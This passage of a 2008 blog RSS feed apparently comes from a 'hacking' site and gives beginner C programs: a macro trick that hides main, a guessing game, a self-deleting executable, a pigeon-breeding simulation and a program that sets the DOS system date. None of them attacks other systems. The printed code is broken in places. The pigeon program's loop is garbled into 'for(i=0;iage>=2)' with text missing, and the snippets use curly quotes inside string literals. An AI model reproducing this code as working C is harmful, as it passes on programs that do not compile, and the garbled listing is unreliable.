			<content:encoded><![CDATA[<p><img class="alignleft" src="http://www.gohacking.com/wp-content/uploads/2008/12/c.jpg" alt="" title="C Program without main" width="158" height="125" />How to write a C program without a main function?. Is it possible to do that. Yes there can be a C program without a main function. Here&#8217;s the code of the program without a main function&#8230;<br />
 </p>
<div>&nbsp;</div>
<div class='stb-info_box' >#include&lt;stdio.h&gt;<br />
#define decode(s,t,u,m,p,e,d) m##s##u##t<br />
#define begin decode(a,n,i,m,a,t,e)</p>
<p>int begin()<br />
{<br />
printf(&#8221; hello &#8220;);<br />
}</div>
<div>&nbsp;</div>
<p>Does the above program run without the main function? Yes, the above program runs perfectly fine even without a main function. But how, whats the logic behind it? How can we have a C program working without main?</p>
<p>Here we are using preprocessor directive #define with arguments to give an impression that the program runs without main. But in reality it runs with a hidden main function.</p>
<p>The &#8216;<strong>##</strong>&#8216; operator is called the token pasting or token merging operator. That is we can merge two or more characters with it.</p>
<div class='stb-warning_box' >NOTE: A Preprocessor is program which processess the source code before compilation.</div>
<div>&nbsp;</div>
<p>Look at the 2nd line of program -</p>
<div class='stb-info_box' >#define decode(s,t,u,m,p,e,d) m##s##u##t</div>
<div>&nbsp;</div>
<p>What is the preprocessor doing here. The macro decode(s,t,u,m,p,e,d) is being expanded as &#8220;msut&#8221; (The ## operator merges m,s,u &amp; t into msut). The logic is when you pass (s,t,u,m,p,e,d) as argument it merges the 4th,1st,3rd &amp; the 2nd characters(tokens).</p>
<div>&nbsp;</div>
<p>Now look at the third line of the program -</p>
<div class='stb-info_box' >#define begin decode(a,n,i,m,a,t,e)</div>
<div>&nbsp;</div>
<p>Here the preprocessor replaces the macro &#8220;begin&#8221; with the expansion decode(a,n,i,m,a,t,e). According to the macro definition in the previous line the argument must be expanded so that the 4th,1st,3rd &amp; the 2nd characters must be merged. In the argument (a,n,i,m,a,t,e) 4th,1st,3rd &amp; the 2nd characters are &#8216;m&#8217;,'a&#8217;,'i&#8217; &amp; &#8216;n&#8217;.</p>
<p>So the third line &#8220;int begin&#8221; is replaced by &#8220;int main&#8221; by the preprocessor before the program is passed on for the compiler. That&#8217;s it&#8230;</p>
<p>The bottom line is there can never exist a C program without a main function. Here we are just playing a gimmick that makes us beleive the program runs without main function, but actually there exists a hidden main function in the program. Here we are using the proprocessor directive to intelligently replace the word begin&#8221; by &#8220;main&#8221;. In simple words int begin=int main.</p>
<img src="http://www.gohacking.com/?ak_action=api_record_view&id=59&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.gohacking.com/2008/03/c-program-without-main-function.html/feed</wfw:commentRss>
		<slash:comments>34</slash:comments>
		</item>
		<item>
		<title>Guessing Game In C</title>
		<link>http://www.gohacking.com/2008/03/guessing-game-in-c.html</link>
		<comments>http://www.gohacking.com/2008/03/guessing-game-in-c.html#comments</comments>
		<pubDate>Sat, 01 Mar 2008 08:14:00 +0000</pubDate>
		<dc:creator>Srikanth</dc:creator>
				<category><![CDATA[C SOURCE CODES]]></category>

		<guid isPermaLink="false">http://gohacking.com/?p=58</guid>
		<description><![CDATA[This is a small guessing game written in C. In this guessing game you have to guess a number between 0 &#38; 100. You have 8 chances to do that. Every time you guess wrongly ...]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" src="http://www.gohacking.com/wp-content/uploads/2008/12/c.jpg" alt="" title="Guessing game in C" width="158" height="125" />This is a small guessing game written in C. In this guessing game you have to guess a number between 0 &amp; 100. You have 8 chances to do that. Every time you guess wrongly the program will give you a hint that your guess is too high or your guess is too low. Based on this hint you have to guess the number in the remaining attempts. Here&#8217;s the code<br />
 </p>
<div class='stb-info_box' >#include&lt;stdio.h&gt;<br />
#include&lt;stdlib.h&gt;<br />
#include&lt;time.h&gt;</p>
<p>void main()<br />
{<br />
int num,guess=-1,tries=0,pass=0;<br />
time_t t;<br />
srand((unsigned)time(&amp;t));<br />
num=rand()%100;<br />
while((guess!=num)&amp;&amp;tries&lt;8)<br />
{<br />
printf(&#8220;Enter the guess num b/w 0 &amp; 100 (you have %d tries left out)\n&#8221;,(8-tries)); scanf(&#8220;%d&#8221;,&amp;guess);<br />
tries++;<br />
if(guess==num)<br />
{<br />
printf(&#8220;Hurray you guessed it correctly!!!\n&#8221;);<br />
pass=1;<br />
}<br />
else if(num&lt; guess)<br />
printf(&#8220;Your guess is too high\n&#8221;);<br />
else<br />
printf(&#8220;Your guess is too low\n&#8221;);<br />
}<br />
if(pass==0)<br />
printf(&#8220;Sorry you lost! The correct number is %d\n&#8221;,num);<br />
}</div>
<img src="http://www.gohacking.com/?ak_action=api_record_view&id=58&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.gohacking.com/2008/03/guessing-game-in-c.html/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>A Self Destructing Program in C</title>
		<link>http://www.gohacking.com/2008/03/self-destructing-program-in-c.html</link>
		<comments>http://www.gohacking.com/2008/03/self-destructing-program-in-c.html#comments</comments>
		<pubDate>Sat, 01 Mar 2008 07:35:00 +0000</pubDate>
		<dc:creator>Srikanth</dc:creator>
				<category><![CDATA[C SOURCE CODES]]></category>

		<guid isPermaLink="false">http://gohacking.com/?p=57</guid>
		<description><![CDATA[This program will destroy itself upon execution. The program will cause the .exe file to be deleted upon execution. That is this program is capable of destroying itself upon execution. Here is the code
 
&#160;
#include&#60;stdio.h&#62;
#include&#60;conio.h&#62;
#include&#60;dos.h&#62;
void main()
{
printf(&#8220;This ...]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" src="http://www.gohacking.com/wp-content/uploads/2008/12/c.jpg" alt="" title="Self destructing program in C" width="158" height="125" />This program will destroy itself upon execution. The program will cause the .exe file to be deleted upon execution. That is this program is capable of destroying itself upon execution. Here is the code<br />
 </p>
<div>&nbsp;</div>
<div class='stb-info_box' >#include&lt;stdio.h&gt;<br />
#include&lt;conio.h&gt;<br />
#include&lt;dos.h&gt;<br />
void main()<br />
{<br />
printf(&#8220;This program will destroy itself if u press any key!!!\n&#8221;);<br />
getch();<br />
remove(_argv[0]);/*array of pointers to command line arguments*/<br />
}</div>
<div>&nbsp;</div>
<p><strong>HOW TO COMPILE ?</strong></p>
<p>Load the source code to the compiler and compile (press Alt-F9) and then press F9. This will generate the .exe file in the current directory (Bin directory). Execute this .exe file it will destroy itself upon execution.</p>
<img src="http://www.gohacking.com/?ak_action=api_record_view&id=57&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.gohacking.com/2008/03/self-destructing-program-in-c.html/feed</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>C Program for Pigeon Breeding Problem</title>
		<link>http://www.gohacking.com/2008/02/c-progrm-for-pigeon-breeding-problem.html</link>
		<comments>http://www.gohacking.com/2008/02/c-progrm-for-pigeon-breeding-problem.html#comments</comments>
		<pubDate>Thu, 28 Feb 2008 16:33:00 +0000</pubDate>
		<dc:creator>Srikanth</dc:creator>
				<category><![CDATA[C SOURCE CODES]]></category>

		<guid isPermaLink="false">http://gohacking.com/?p=56</guid>
		<description><![CDATA[The problem is as follows&#8230;
Initially I have a pair of adult pigeons (capable of breeding) which give rise to another young pair every month until it reaches the age of 5 years (60 months). But ...]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" src="http://www.gohacking.com/wp-content/uploads/2008/12/c.jpg" alt="" width="158" height="125" />The problem is as follows&#8230;<br />
Initially I have a pair of adult pigeons (capable of breeding) which give rise to another young pair every month until it reaches the age of 5 years (60 months). But the young pair starts breeding only when it is 2 months old. Once the adult pigeon pair starts breeding it never stops untils the age of 5 years. Assume the age of initial adult pigeon is 2 months old. This program takes the no. of months as input and will calculate the total no. of pigeons over a given time (as given by the input). This problem is framed, based on my own imagination and I call this problem as PIGEON BREEDING PROBLEM. Here is the code</p>
<div class='stb-info_box' >#include&lt;stdio.h&gt;<br />
#include&lt;process.h&gt;</p>
<p>struct node<br />
{<br />
int age;<br />
struct node *link;<br />
};</p>
<p>typedef struct node* NODE;</p>
<p>NODE getnode()<br />
{<br />
NODE x;<br />
x=(NODE)malloc(sizeof(struct node));<br />
if(x==NULL)<br />
{<br />
printf(&#8220;Out of memory\n&#8221;);<br />
exit(1);<br />
}<br />
return x;<br />
}</p>
<p>void main()<br />
{<br />
unsigned long int count=1;<br />
unsigned int months,i;<br />
NODE first=getnode();/*this is the intial adult pair*/<br />
first-&gt;age=2; /*assume the age of initial adult pair as 2*/<br />
first-&gt;link=NULL;<br />
printf(&#8220;Enter the no. of months\n&#8221;);<br />
scanf(&#8220;%u&#8221;,&amp;months);<br />
for(i=0;iage&gt;=2)&amp;&amp;(temp-&gt;age&lt;=60)) { NODE temp1=getnode(); temp-&gt;age+=1;<br />
temp1-&gt;age=1;<br />
temp1-&gt;link=first;<br />
first=temp1;<br />
temp=temp-&gt;link;<br />
++count;<br />
}<br />
else<br />
{<br />
temp-&gt;age+=1;<br />
temp=temp-&gt;link;<br />
}<br />
}<br />
}<br />
printf(&#8220;Total no. of pairs after %u months=%ld\n&#8221;,months,count);<br />
}</div>
<img src="http://www.gohacking.com/?ak_action=api_record_view&id=56&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.gohacking.com/2008/02/c-progrm-for-pigeon-breeding-problem.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>C Program to Set/Change the Current System Date</title>
		<link>http://www.gohacking.com/2008/01/c-program-to-setchange-current-system-date.html</link>
		<comments>http://www.gohacking.com/2008/01/c-program-to-setchange-current-system-date.html#comments</comments>
		<pubDate>Wed, 16 Jan 2008 13:56:00 +0000</pubDate>
		<dc:creator>Srikanth</dc:creator>
				<category><![CDATA[C SOURCE CODES]]></category>

		<guid isPermaLink="false">http://gohacking.com/?p=42</guid>
		<description><![CDATA[This program can be used to set the system date or to change the current system date.
&#160;
&#160;
&#160;
#include &#60;stdio.h&#62;
#include &#60;process.h&#62;
#include &#60;dos.h&#62;
int main(void)
{
struct date reset;
struct date save_date;
getdate(&#38;save_date);
printf(&#8220;Original date:\n&#8221;);
system(&#8220;date&#8221;);
reset.da_year = 2001;
reset.da_day = 1;
reset.da_mon = 1;
setdate(&#38;reset);
printf(&#8220;Date after setting:\n&#8221;);
system(&#8220;date&#8221;);
setdate(&#38;save_date);
printf(&#8220;Back to ...]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" src="http://www.gohacking.com/wp-content/uploads/2008/12/c.jpg" alt="" width="158" height="125" />This program can be used to set the system date or to change the current system date.</p>
<div>&nbsp;</div>
<div>&nbsp;</div>
<div>&nbsp;</div>
<div class='stb-info_box' >#include &lt;stdio.h&gt;<br />
#include &lt;process.h&gt;<br />
#include &lt;dos.h&gt;</p>
<p>int main(void)<br />
{<br />
struct date reset;<br />
struct date save_date;<br />
getdate(&amp;save_date);<br />
printf(&#8220;Original date:\n&#8221;);<br />
system(&#8220;date&#8221;);<br />
reset.da_year = 2001;<br />
reset.da_day = 1;<br />
reset.da_mon = 1;<br />
setdate(&amp;reset);<br />
printf(&#8220;Date after setting:\n&#8221;);<br />
system(&#8220;date&#8221;);<br />
setdate(&amp;save_date);<br />
printf(&#8220;Back to original date:\n&#8221;);<br />
system(&#8220;date&#8221;);<br />
return 0;<br />
}</div>
<img src="http://www.gohacking.com/?ak_action=api_record_view&id=42&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.gohacking.com/2008/01/c-program-to-setchange-current-system-date.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>
